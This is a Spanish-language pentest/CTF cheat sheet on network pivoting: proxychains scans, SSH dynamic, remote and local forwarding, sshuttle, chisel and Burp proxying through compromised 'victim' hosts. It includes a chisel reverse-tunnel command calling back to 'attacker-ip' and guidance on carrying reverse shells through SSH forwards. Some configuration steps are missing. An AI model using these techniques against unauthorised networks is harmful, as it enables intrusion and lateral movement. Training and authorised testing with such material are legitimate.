
Una guía compacta sobre pivoting de red para pruebas de penetración / desafíos CTF.
No utilices solicitudes de eco ICMP (ping) para probar proxies SOCKS.
SOCKS es un protocolo de Internet que intercambia paquetes de red entre un cliente y un servidor a través de un servidor proxy. En la práctica, un servidor SOCKS proxifica conexiones TCP a una dirección IP arbitraria y proporciona un medio para reenviar paquetes UDP.
Debes probarlo usando un protocolo basado en TCP (p. ej., intenta hacer SSH o enviar una petición HTTP GET a un host a través del túnel de pivoting).
NMAP debe usarse con escaneo de conexión TCP (-sT) y sin ping (-Pn)
Esto también aplica a los escaneos de versión (-sV) y de scripts (-sC). Deben usarse en combinación con -sT y -Pn.
Ejemplos:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
Consejo: Puedes subir naabu a la máquina víctima y escanear como un jefe.
Usar scripts y binarios con proxychains
Un consejo para usar proxychains es asegurarse de que, si estás ejecutando un programa interpretado (como un script de Python), es buena idea referenciar explícitamente el binario de Python antes que el script, incluso si el script comienza con un shebang, p. ej.:
proxychains4 [-q -f proxychains.conf] python python_script.py
Sin esta referencia específica al intérprete del script, a veces el tráfico generado por el script no se enrutará a través del proxy como pretendías, y la conexión de red fallará. Fuente del consejo
Descomenta la línea "quite mode" en /etc/proxychains.conf para evitar un stdout que puede resultar frustrante a veces.
Esto es solo una sugerencia.
Te permite crear un socket en la máquina local (cliente ssh), que actúa como servidor proxy SOCKS. Cuando un cliente se conecta a este puerto, la conexión se reenvía a la máquina remota (servidor ssh), y luego se reenvía a un puerto dinámico en la máquina de destino.
Cómo configurarlo:
Edita /etc/proxychains.conf y haz lo siguiente:
Configura el reenvío dinámico de puertos SSH:
ssh -D 127.0.0.1:9050 user@victim-IP
Ejemplos de uso:
Siendo x.x.x.x la dirección IP de un host que pertenece a la red tunelizada:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]
Para usar Firefox a través del túnel:
proxychains firefox
Si estás buscando cómo conseguir una reverse shell a través de un túnel de pivoting, esto es lo que necesitas. Te permite reenviar un puerto de la máquina remota (víctima) a un puerto de la máquina local (atacante).
Cómo configurarlo:
Haz SSH a la máquina víctima.
Edita /etc/ssh/sshd_config y haz lo siguiente:
*Esto es muy importante y muchas guías en la web no lo mencionan. Si no lo haces, solo podrás configurar el túnel en 127.0.0.1 en lugar de 0.0.0.0, lo que terminará no reenviando tráfico cuando se origine desde cualquier host excepto localhost.
sudo service ssh restartConfigura el reenvío remoto de puertos SSH:
Esencialmente, después de configurarlo como se mencionó, el comando es tan simple como esto:
ssh -R 2222:*:2222 user@victim-IP
Para probar si funciona, puedes hacer lo siguiente:
Configura un listener (p. ej. netcat) en tu máquina atacante (en el puerto que configuraste para el reenvío remoto, en este ejemplo 2222) y haz una petición desde la máquina víctima hacia sí misma (localhost). En este ejemplo, sería nc 127.0.0.1 2222. Si tu máquina atacante recibe la conexión, significa que a) funciona y b) cada conexión desde los hosts en pivoting hacia victimip:2222 será reenviada a la máquina atacante.
Puedes configurar varios puertos así:
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP
Precaución: Las peticiones de hosts externos (red en pivoting) deben dirigirse a la IP de la víctima para poder reenviarse de vuelta a la máquina atacante.
*También puedes implementar el reenvío remoto de puertos conectándote por SSH desde la víctima a la máquina del atacante.
El reenvío local de puertos te permite reenviar un puerto de la máquina local (atacante) a un puerto de la máquina remota (víctima). Es particularmente útil para escanear puertos locales en la víctima.
Uso:
ssh user@victim-IP -L 8888:127.0.0.1:8086
Ahora puedes usar, por ejemplo, nmap para escanear el puerto 8086 en la máquina víctima así:
nmap -Pn -n -p8888 -sV 127.0.0.1
Un ejemplo de cómo implementar doble pivoting con reenvío dinámico de puertos SSH y Proxychains.
Concepto:
Supongamos que tenemos las siguientes 4 máquinas.
| IP | Rol |
|---|---|
| 10.10.10.10 | Atacante |
| 10.10.10.11 | Jumphost1 |
| 172.16.1.12 | Jumphost2 |
| 172.16.2.13 | Jumphost3 |
El atacante puede alcanzar Jumphost1.
Jumphost1 puede alcanzar Jumphost2.
Jumphost2 puede alcanzar Jumphost3.
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
ssh -D 127.0.0.1:9999 user@Jumphost2
Ahora deberías poder alcanzar Jumphost3.
sshuttle te permite crear una conexión VPN desde tu máquina a cualquier servidor remoto a través de ssh, siempre que ese servidor tenga Python 2.3 o superior. Para que funcione, debes tener acceso root en la máquina local, pero puedes tener una cuenta normal en el servidor. Es válido ejecutar sshuttle más de una vez simultáneamente en una misma máquina cliente, conectándose a un servidor diferente cada vez, por lo que puedes estar en más de una VPN a la vez. Consulta el repositorio de GitHub de sshuttle.
Uso:
Suponiendo que queremos pivotar hacia 172.16.2.0/16:
sshuttle -vvr root@victim 172.16.2.0/16
Si quieres usar una clave ssh:
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16
Chisel es un túnel TCP/UDP rápido, transportado sobre HTTP, asegurado mediante SSH. Un único ejecutable que incluye tanto cliente como servidor. Escrito en Go (golang). Es increíblemente alucinante y útil.
Instalación:
Puedes instalar chisel fácilmente en Kali:
apt install chisel
Para usarlo, también necesitas subir el binario de chisel a la víctima. Puedes descargar versiones precompiladas aquí.
Ejemplo de reenvío de puerto local
En tu máquina atacante:
chisel server -p 8000 --reverse
En la máquina víctima:
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443
Esto va a reenviar el tráfico desde el puerto 1234 de la máquina atacante al puerto 8443 de la máquina víctima.
Burpsuite admite la posibilidad de configurar proxies, una característica increíblemente útil y potente.
Cómo configurarlo:
Abre Burpsuite y haz lo siguiente:
En combinación con la configuración de un reenvío dinámico de puertos SSH o de sshuttle, ahora puedes usar Burpsuite para pivotar tráfico hacia los hosts deseados enviando tráfico a tu puerto de enlace localhost. Un ejemplo útil con gobuster dir en fuerza bruta de directorios a través del túnel (asumiendo que configuraste el puerto 2222 como puerto de redirección):
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt